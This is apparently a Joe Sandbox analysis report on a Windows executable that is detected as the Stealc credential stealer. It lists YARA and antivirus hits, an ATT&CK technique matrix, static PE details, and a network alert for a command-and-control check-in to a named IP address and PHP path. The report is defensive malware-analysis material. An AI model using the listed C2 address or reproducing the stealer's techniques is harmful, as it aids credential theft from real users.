                Source: Yara matchFile source: 00000000.00000003.2114793571.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 716, type: MEMORYSTR
                Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                Source: Yara matchFile source: dump.pcap, type: PCAP

                Remote Access Functionality

                barindex
                Yara detected Stealc
                Source: Yara matchFile source: 0.2.file.exe.e10000.0.unpack, type: UNPACKEDPE
                Source: Yara matchFile source: 00000000.00000002.2155893924.0000000000998000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000002.2156269642.0000000000E11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
                Source: Yara matchFile source: 00000000.00000003.2114793571.0000000004E80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
                Source: Yara matchFile source: Process Memory Space: file.exe PID: 716, type: MEMORYSTR
                Source: Yara matchFile source: decrypted.memstr, type: MEMORYSTR
                Source: Yara matchFile source: dump.pcap, type: PCAP

                Mitre Att&ck Matrix

                ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
                Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
                Command and Scripting Interpreter                		1
                DLL Side-Loading                		11
                Process Injection                		1
                Masquerading                		OS Credential Dumping2
                System Time Discovery                		Remote Services1
                Archive Collected Data                		2
                Encrypted Channel                		Exfiltration Over Other Network MediumAbuse Accessibility Features
                CredentialsDomainsDefault Accounts12
                Native API                		Boot or Logon Initialization Scripts1
                DLL Side-Loading                		33
                Virtualization/Sandbox Evasion                		LSASS Memory641
                Security Software Discovery                		Remote Desktop ProtocolData from Removable Media2
                Ingress Tool Transfer                		Exfiltration Over BluetoothNetwork Denial of Service
                Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
                Disable or Modify Tools                		Security Account Manager33
                Virtualization/Sandbox Evasion                		SMB/Windows Admin SharesData from Network Shared Drive3
                Non-Application Layer Protocol                		Automated ExfiltrationData Encrypted for Impact
                Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook11
                Process Injection                		NTDS13
                Process Discovery                		Distributed Component Object ModelInput Capture13
                Application Layer Protocol                		Traffic DuplicationData Destruction
                Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script1
                Deobfuscate/Decode Files or Information                		LSA Secrets1
                Account Discovery                		SSHKeyloggingFallback ChannelsScheduled TransferData Encrypted for Impact
                Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts3
                Obfuscated Files or Information                		Cached Domain Credentials1
                System Owner/User Discovery                		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
                DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items12
                Software Packing                		DCSync1
                File and Directory Discovery                		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
                Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job1
                DLL Side-Loading                		Proc Filesystem334
                System Information Discovery                		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement

                Behavior Graph

                Hide Legend

                Legend:

                • Process
                • Signature
                • Created File
                • DNS/IP Info
                • Is Dropped
                • Is Windows Process
                • Number of created Registry Values
                • Number of created Files
                • Visual Basic
                • Delphi
                • Java
                • .Net C# or VB.NET
                • C, C++ or other language
                • Is malicious
                • Internet

                Screenshots

                Thumbnails

                This section contains all screenshots as thumbnails, including those not shown in the slideshow.


                windows-stand

                Antivirus, Machine Learning and Genetic Malware Detection

                Initial Sample

                SourceDetectionScannerLabelLink
                file.exe44%VirustotalBrowse
                file.exe100%AviraTR/Crypt.TPM.Gen
                file.exe100%Joe Sandbox ML

                Dropped Files

                ⊘No Antivirus matches

                Unpacked PE Files

                ⊘No Antivirus matches

                Domains

                SourceDetectionScannerLabelLink
                s-part-0017.t-0009.t-msedge.net0%VirustotalBrowse
                ax-0001.ax-msedge.net0%VirustotalBrowse
                fp2e7a.wpc.phicdn.net0%VirustotalBrowse

                URLs

                SourceDetectionScannerLabelLink
                https://docs.rs/getrandom#nodejs-es-module-support0%URL Reputationsafe

                Domains and IPs

                Contacted Domains

                NameIPActiveMaliciousAntivirus DetectionReputation
                s-part-0017.t-0009.t-msedge.net
                		13.107.246.45
                		truefalseunknown
                ax-0001.ax-msedge.net
                		150.171.27.10
                		truefalseunknown
                fp2e7a.wpc.phicdn.net
                		192.229.221.95
                		truefalseunknown
                tse1.mm.bing.net
                		unknown
                		unknownfalse
                  		unknown

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  http://185.215.113.206/6c4adf523b719729.phptrue
                    		unknown
                    http://185.215.113.206/true
                      		unknown

                      URLs from Memory and Binaries

                      NameSourceMaliciousAntivirus DetectionReputation
                      http://185.215.113.206/6c4adf523b719729.phpSfile.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpfalse
                        		unknown
                        http://185.215.113.206/6c4adf523b719729.phpcfile.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpfalse
                          		unknown
                          http://185.215.113.206/6c4adf523b719729.php/file.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmpfalse
                            		unknown
                            http://185.215.113.206file.exe, 00000000.00000002.2155893924.000000000097E000.00000004.00000020.00020000.00000000.sdmptrue
                              		unknown
                              http://185.215.113.206/wsfile.exe, 00000000.00000002.2155893924.00000000009D7000.00000004.00000020.00020000.00000000.sdmpfalse
                                		unknown
                                http://185.215.113.206/6c4adf523b719729.phpFfile.exe, 00000000.00000002.2155893924.00000000009F9000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		unknown
                                  https://docs.rs/getrandom#nodejs-es-module-supportfile.exe, file.exe, 00000000.00000002.2156269642.0000000000E3C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2114793571.0000000004EAB000.00000004.00001000.00020000.00000000.sdmpfalse
                                  • URL Reputation: safe
                                  		unknown

                                  World Map of Contacted IPs

                                  • No. of IPs < 25%
                                  • 25% < No. of IPs < 50%
                                  • 50% < No. of IPs < 75%
                                  • 75% < No. of IPs

                                  Public IPs

                                  IPDomainCountryFlagASNASN NameMalicious
                                  185.215.113.206
                                  		unknownPortugal
                                  		206894WHOLESALECONNECTIONSNLtrue

                                  General Information

                                  Joe Sandbox version:41.0.0 Charoite
                                  Analysis ID:1545818
                                  Start date and time:2024-10-31 04:15:07 +01:00
                                  Joe Sandbox product:CloudBasic
                                  Overall analysis duration:0h 3m 29s
                                  Hypervisor based Inspection enabled:false
                                  Report type:full
                                  Cookbook file name:default.jbs
                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                  Number of analysed new started processes analysed:9
                                  Number of new started drivers analysed:0
                                  Number of existing processes analysed:0
                                  Number of existing drivers analysed:0
                                  Number of injected processes analysed:0
                                  Technologies:
                                  • HCA enabled
                                  • EGA enabled
                                  • AMSI enabled
                                  Analysis Mode:default
                                  Analysis stop reason:Timeout
                                  Sample name:file.exe
                                  Detection:MAL
                                  Classification:mal100.troj.evad.winEXE@1/0@1/1
                                  EGA Information:
                                  • Successful, ratio: 100%
                                  HCA Information:
                                  • Successful, ratio: 80%
                                  • Number of executed functions: 19
                                  • Number of non-executed functions: 135
                                  Cookbook Comments:
                                  • Found application associated with file extension: .exe
                                  • Stop behavior analysis, all processes terminated

                                  Warnings

                                  • Exclude process from analysis (whitelisted): dllhost.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe
                                  • Excluded IPs from analysis (whitelisted): 93.184.221.240, 20.199.58.43, 2.23.209.133, 2.23.209.182, 2.23.209.187, 52.149.20.212, 40.69.42.241
                                  • Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.afd.azureedge.net, iris-de-prod-azsc-v2-frc.francecentral.cloudapp.azure.com, wu.azureedge.net, arc.msn.com, e86303.dscx.akamaiedge.net, www.bing.com.edgekey.net, ocsp.digicert.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, ocsp.edge.digicert.com, glb.cws.prod.dcat.dsp.trafficmanager.net, hlb.apr-52dd2-0.edgecastdns.net, sls.update.microsoft.com, arc.trafficmanager.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.bing.com, client.wns.windows.com, ctldl.windowsupdate.com.delivery.microsoft.com, otelrules.azureedge.net, wu.ec.azureedge.net, ctldl.windowsupdate.com, www-www.bing.com.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, mm-mm.bing.net.trafficmanager.net, azureedge-t-prod.trafficmanager.net

                                  Simulations

                                  Behavior and APIs

                                  ⊘No simulations

                                  Joe Sandbox View / Context

                                  IPs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  185.215.113.206file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake StealerBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XmrigBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206/746f34465cf17784/vcruntime140.dll
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206/6c4adf523b719729.php
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206/6c4adf523b719729.php

                                  Domains

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  ax-0001.ax-msedge.nethttps://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5Get hashmaliciousUnknownBrowse
                                  • 150.171.27.10
                                  Reminders for Msp-partner_ Server Alert.emlGet hashmaliciousHTMLPhisherBrowse
                                  • 150.171.27.10
                                  https://wetransfer.com/downloads/bd15c1f671ae60c5a56e558eb8cc43bf20241030150256/3b30cd5b9ce1ffb29d79c9118153941c20241030150256/70baef?t_exp=1730559776&t_lsid=6bd545a9-d09b-4abd-a317-124dbe9fe64d&t_network=email&t_rid=YXV0aDB8NjZlYWI0YTExODhmYzc1OGMzMmNiODIx&t_s=download_link&t_ts=1730300576&utm_campaign=TRN_TDL_01&utmGet hashmaliciousHTMLPhisherBrowse
                                  • 150.171.27.10
                                  https://www.mediafire.com/file/oyfycncwen0a3ue/DSP_Plan_Set.zip/fileGet hashmaliciousUnknownBrowse
                                  • 150.171.27.10
                                  https://email.email.pandadoc.net/c/eJxMkE9vEzEQxT_N-pbKO_ba3oMPhWipiEBAoYdeqrE92zVJbGfthD-fHkWi0OOM9Hv6vResU8LNhoXsz0dK7SkG-2Z5fwRKPgf39rRsv4op3T4ujGyvBQcQIxi2WBVmDUaIIJAgaJrROA0G-iB6wRWyaIGD7DmMvZYDqJtej653A7hxHASXppOcjhgPNwVTwJD9TaLGYn1qK3pCdyDb1jOxg11aK7UTtx1MHUxYyn_E52MH04t-B9MFOjG1vKfUia3X2M_Kjc7LORAnLZT03Ds1eE-GBjOKAXojOzGxlFuco8cWc7rOMAQynlBsvBtgI0GJDY6Ob0hzI7AHR0GxvD5jir__QXSR97_ybpvLA1U6_hxPwWtiq625LJE6yfex4rnlgmurV3u20iXWv7hvCj6bWb97PBX_PTp1rg_yE2v2peCm4fpM7fWnUnp9s4sF9iOv-1rQ0zXU7Bzsvn3A0PT9nfmCQ_ioy92fAAAA__-PeqWAGet hashmaliciousUnknownBrowse
                                  • 150.171.27.10
                                  https://clickme.thryv.com/ls/click?upn=u001.Als7cfHaJU2yMdsJgpsIFmiRUl-2BtxcZ73D3PC6s7dEdSEpNEVf7BmEr33HzpWyzDy2Qc_OEO3HRIZ3eedLymwLhvJt9sqs3j4T3CqpVCO9A0ZKplqH1W1Ad1lCPdQBrRfbSauZPLLCLTYBsXDRt8yGG5FOZ7NK342oFTufTBA9n-2F9XZML5SAWON4OCquRGeOrZOG6X7bKIH2ouDi7O5ssZhkwdV9j8BuAetGO74HzivTb4yjw5AGX5ZMnsGYBS3vBuNNgFYRVSYVxc5dN7eCLDUr43XjgYUZE2GmJzXmN-2BelIHWKsvaOOIeqiW6cnMf2CI6MeEhodwtV2LpZJtWZhkGi5I2rlc08PnxbPlMsOj2Cr9oC-2BCWb9WuPqmZU8rqYD8CNL-2BgY3UElGOq-2BfG3NfYFdrc0Rb11eU0t5G2ihyqzzZVfI-3D#cHNjaG1pdHRAZ3Jpc3Qub3JnGet hashmaliciousUnknownBrowse
                                  • 150.171.27.10
                                  https://ws.onehub.com/files/3wbmh4dnGet hashmaliciousUnknownBrowse
                                  • 150.171.27.10
                                  Electronic_Receipt_ATT0001.virus.htmlGet hashmaliciousUnknownBrowse
                                  • 150.171.28.10
                                  https://app.pandadoc.com/document/v2?token=2126fee3194112970cb23c51d0c56249323ace2bGet hashmaliciousUnknownBrowse
                                  • 150.171.28.10
                                  https://link.edgepilot.com/s/b064b0de/7_W48d8I8kGlXhrfD-hDUg?u=https://delivmodas.ks.infinitoag.com/Get hashmaliciousUnknownBrowse
                                  • 150.171.27.10
                                  s-part-0017.t-0009.t-msedge.netfile.exeGet hashmaliciousStealc, VidarBrowse
                                  • 13.107.246.45
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 13.107.246.45
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 13.107.246.45
                                  SecuriteInfo.com.Win32.RATX-gen.1803.21030.exeGet hashmaliciousUnknownBrowse
                                  • 13.107.246.45
                                  Paiement.emlGet hashmaliciousHTMLPhisherBrowse
                                  • 13.107.246.45
                                  https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#Get hashmaliciousUnknownBrowse
                                  • 13.107.246.45
                                  https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.eduGet hashmaliciousHTMLPhisherBrowse
                                  • 13.107.246.45
                                  https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1Get hashmaliciousUnknownBrowse
                                  • 13.107.246.45
                                  file.exeGet hashmaliciousCredential FlusherBrowse
                                  • 13.107.246.45
                                  https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3Get hashmaliciousMamba2FABrowse
                                  • 13.107.246.45
                                  fp2e7a.wpc.phicdn.netSecuriteInfo.com.Win32.RATX-gen.1803.21030.exeGet hashmaliciousUnknownBrowse
                                  • 192.229.221.95
                                  https://pub-6838e3dd185d4df89d3bb3eabe6469a4.r2.dev/index.html#Get hashmaliciousUnknownBrowse
                                  • 192.229.221.95
                                  https:/click.mailchimp.com/track/click/30010842/docsend.com?p=eyJzIjoiT2RaN0hwNHlyY2E3VXl5TWcwMlA2eFpHVlN3IiwidiI6MSwicCI6IntcInVcIjozMDAxMDg0MixcInZcIjoxLFwidXJsXCI6XCJodHRwczpcXFwvXFxcL2RvY3NlbmQuY29tXFxcL3ZpZXdcXFwvZzZnYzZjazdtNHlkYTRpa1wiLFwiaWRcIjpcImNhZDg3NzI1Y2UzMjRiMzI4Yzk1ZGVkYWUyMzc4ZTZjXCIsXCJ1cmxfaWRzXCI6W1wiYzE5ZWU5NGJiMzA5YmZhOGQ2MDU3OGI1Mjk5NTFmOWE4NDQ0ODNhYVwiXX0ifQ#steven.davis@tu.eduGet hashmaliciousHTMLPhisherBrowse
                                  • 192.229.221.95
                                  https://jksvb.jnkpavers.com/?tZbf66=Tyw6/shhfkanxgsdff/&c=E,1,NSDuZCxGQc6fw5XDGugSpFh6vhsurKgNKuRtQYEvQblaeko7ktmOqkToectUm_5S_qV7IGwrOynGYnQ5TFSCJymAV2tc5TeuFegn96UyDZPOEKOyHYw,&typo=1Get hashmaliciousUnknownBrowse
                                  • 192.229.221.95
                                  https://share.hsforms.com/11zbkP7dfTBO0LgTS5dCN0Asixz3Get hashmaliciousMamba2FABrowse
                                  • 192.229.221.95
                                  https://app.pandadoc.com/document/v2?token=abf6587d58630a40e08d0ad15de8202e2e9c4af5Get hashmaliciousUnknownBrowse
                                  • 192.229.221.95
                                  FormulariomillasbonusLATAM_GsqrekXCVBmUf.cmdGet hashmaliciousUnknownBrowse
                                  • 192.229.221.95
                                  67JPbskewt.exeGet hashmaliciousUnknownBrowse
                                  • 192.229.221.95
                                  file.exeGet hashmaliciousLummaCBrowse
                                  • 192.229.221.95
                                  https://register.edx.org/verizon?&utm_source=vsf_e_paid-ggl-ubrnd&utm_medium=cpc&utm_campaign=GGL%7CEDX%7CAI%7CVSF%7CSEM%7CNBD%7CUS&gad_source=1&gclid=Cj0KCQjwj4K5BhDYARIsAD1Ly2pyzBeRgn77ojfsMTtg7r8SaT93hKq6Ob_f1zsDj7Kj8dy-Mn9a7tMaAng3EALw_wcB&_gl=1*1dphwek*_gcl_aw*R0NMLjE3MzAyMTU4NDAuQ2owS0NRandqNEs1QmhEWUFSSXNBRDFMeTJweXpCZVJnbjc3b2pmc01UdGc3cjhTYVQ5M2hLcTZPYl9mMXpzRGo3S2o4ZHktTW45YTd0TWFBbmczRUFMd193Y0I.*_gcl_au*MzQxNzQzMjE1LjE3MzAyMTU4Mzg.*_ga*MTE0OTEyNzE2Ni4xNzMwMjE1ODM5*_ga_D3KS4KMDT0*MTczMDIxNTgzOS4xLjAuMTczMDIxNTgzOS42MC4wLjAGet hashmaliciousUnknownBrowse
                                  • 192.229.221.95

                                  ASNs

                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                  WHOLESALECONNECTIONSNLfile.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, WhiteSnake StealerBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, XmrigBrowse
                                  • 185.215.113.16
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.16
                                  file.exeGet hashmaliciousStealcBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousStealc, VidarBrowse
                                  • 185.215.113.206
                                  file.exeGet hashmaliciousLummaC, Amadey, Credential Flusher, LummaC Stealer, StealcBrowse
                                  • 185.215.113.206

                                  JA3 Fingerprints

                                  ⊘No context

                                  Dropped Files

                                  ⊘No context

                                  Created / dropped Files

                                  ⊘No created / dropped files found

                                  Static File Info

                                  General

                                  File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                  Entropy (8bit):7.960624885056571
                                  TrID:
                                  • Win32 Executable (generic) a (10002005/4) 99.96%
                                  • Generic Win/DOS Executable (2004/3) 0.02%
                                  • DOS Executable Generic (2002/1) 0.02%
                                  • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                  File name:file.exe
                                  File size:2'085'888 bytes
                                  MD5:e4b956c7c98758b0fedda4156545593d
                                  SHA1:42debf379a13bf4ea20036bfb780ad49b5e95bd6
                                  SHA256:7d163fd79c3d69b1b2c9d00c90f9ea3379f94b504bd55192a483f528d6ac52c9
                                  SHA512:ae96b3ec6fb1c7476ba3f3a5ab4a5e9ab97c8026b77ca8fbec4daeb6e6c93bcb5aa8b4b52b6e65488824fe91c13549ca2f8dc325bb8a54c160d17ce3bee324b8
                                  SSDEEP:49152:BrvI9TGLcKUR4+zpwxGDmNE6m0O/9X0Lwu7B5ovFbm:BrvITtK6BtFB6o/9x/Fi
                                  TLSH:2FA533E353233BE8E22D0F73074F6E5336149AE54DB2BF48980EC1B85A4B1A5695849F
                                  File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b.}.............u^......uk......u_......{v.....fz./.....{f..............uZ......uh.....Rich....................PE..L...8n.g...

                                  File Icon

                                  Icon Hash:00928e8e8686b000

                                  Static PE Info

                                  General

                                  Entrypoint:0xb13000
                                  Entrypoint Section:.taggant
                                  Digitally signed:false
                                  Imagebase:0x400000
                                  Subsystem:windows gui
                                  Image File Characteristics:EXECUTABLE_IMAGE, 32BIT_MACHINE
                                  DLL Characteristics:DYNAMIC_BASE, TERMINAL_SERVER_AWARE
                                  Time Stamp:0x671E6E38 [Sun Oct 27 16:45:44 2024 UTC]
                                  TLS Callbacks:
                                  CLR (.Net) Version:
                                  OS Version Major:5
                                  OS Version Minor:1
                                  File Version Major:5
                                  File Version Minor:1
                                  Subsystem Version Major:5
                                  Subsystem Version Minor:1
                                  Import Hash:2eabe9054cad5152567f0699947a2c5b

                                  Entrypoint Preview

                                  Instruction
                                  jmp 00007F1DD51677AAh
                                  lss ebx, dword ptr [edi]
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add cl, ch
                                  add byte ptr [eax], ah
                                  add byte ptr [eax], al
                                  add byte ptr [esi], al
                                  or al, byte ptr [eax]
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], dh
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax+eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  push es
                                  or al, byte ptr [eax]
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [esi], al
                                  add byte ptr [eax], 00000000h
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  adc byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al
                                  push es
                                  or al, byte ptr [eax]
                                  add byte ptr [eax], al
                                  add byte ptr [eax], al

                                  Rich Headers

                                  Programming Language:
                                  • [C++] VS2010 build 30319
                                  • [ASM] VS2010 build 30319
                                  • [ C ] VS2010 build 30319
                                  • [ C ] VS2008 SP1 build 30729
                                  • [IMP] VS2008 SP1 build 30729
                                  • [LNK] VS2010 build 30319

                                  Data Directories

                                  NameVirtual AddressVirtual Size Is in Section
                                  IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IMPORT0x2e90500x64.idata
                                  IMAGE_DIRECTORY_ENTRY_RESOURCE0x00x0
                                  IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                  IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BASERELOC0x2e91f80x8.idata
                                  IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                  IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                  IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_IAT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                  IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                  IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                  Sections

                                  NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                  0x10000x2e70000x67600612ac48491889399e9f6df9f9eed0fbeunknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .rsrc 0x2e80000x10000x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .idata 0x2e90000x10000x200049071433b9f7c843453337b0fd53002False0.1328125data0.8946074494647072IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  0x2ea0000x2950000x200df55977bbc3b484a6f359ded60f65074unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  usisoqoi0x57f0000x1930000x1924009f3544f0d141b109040696a935aed29aFalse0.9949866959291486data7.953872207980885IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  igxiqctn0x7120000x10000x400ced2dc4ce2d9735355c1f73b22e52600False0.8046875data6.240049276982909IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                  .taggant0x7130000x30000x220064777302857f690beb7ce967c82d82d5False0.0646829044117647DOS executable (COM)0.7504375401310389IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

                                  Imports

                                  DLLImport
                                  kernel32.dlllstrcpy

                                  Network Behavior

                                  Suricata IDS Alerts

                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                  2024-10-31T04:16:02.780418+01002044243ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in1192.168.2.649725185.215.113.20680TCP

                                  Network Port Distribution

                                  TCP Packets

                                  TimestampSource PortDest PortSource IPDest IP
                                  Oct 31, 2024 04:16:01.558183908 CET4972580192.168.2.6185.215.113.206
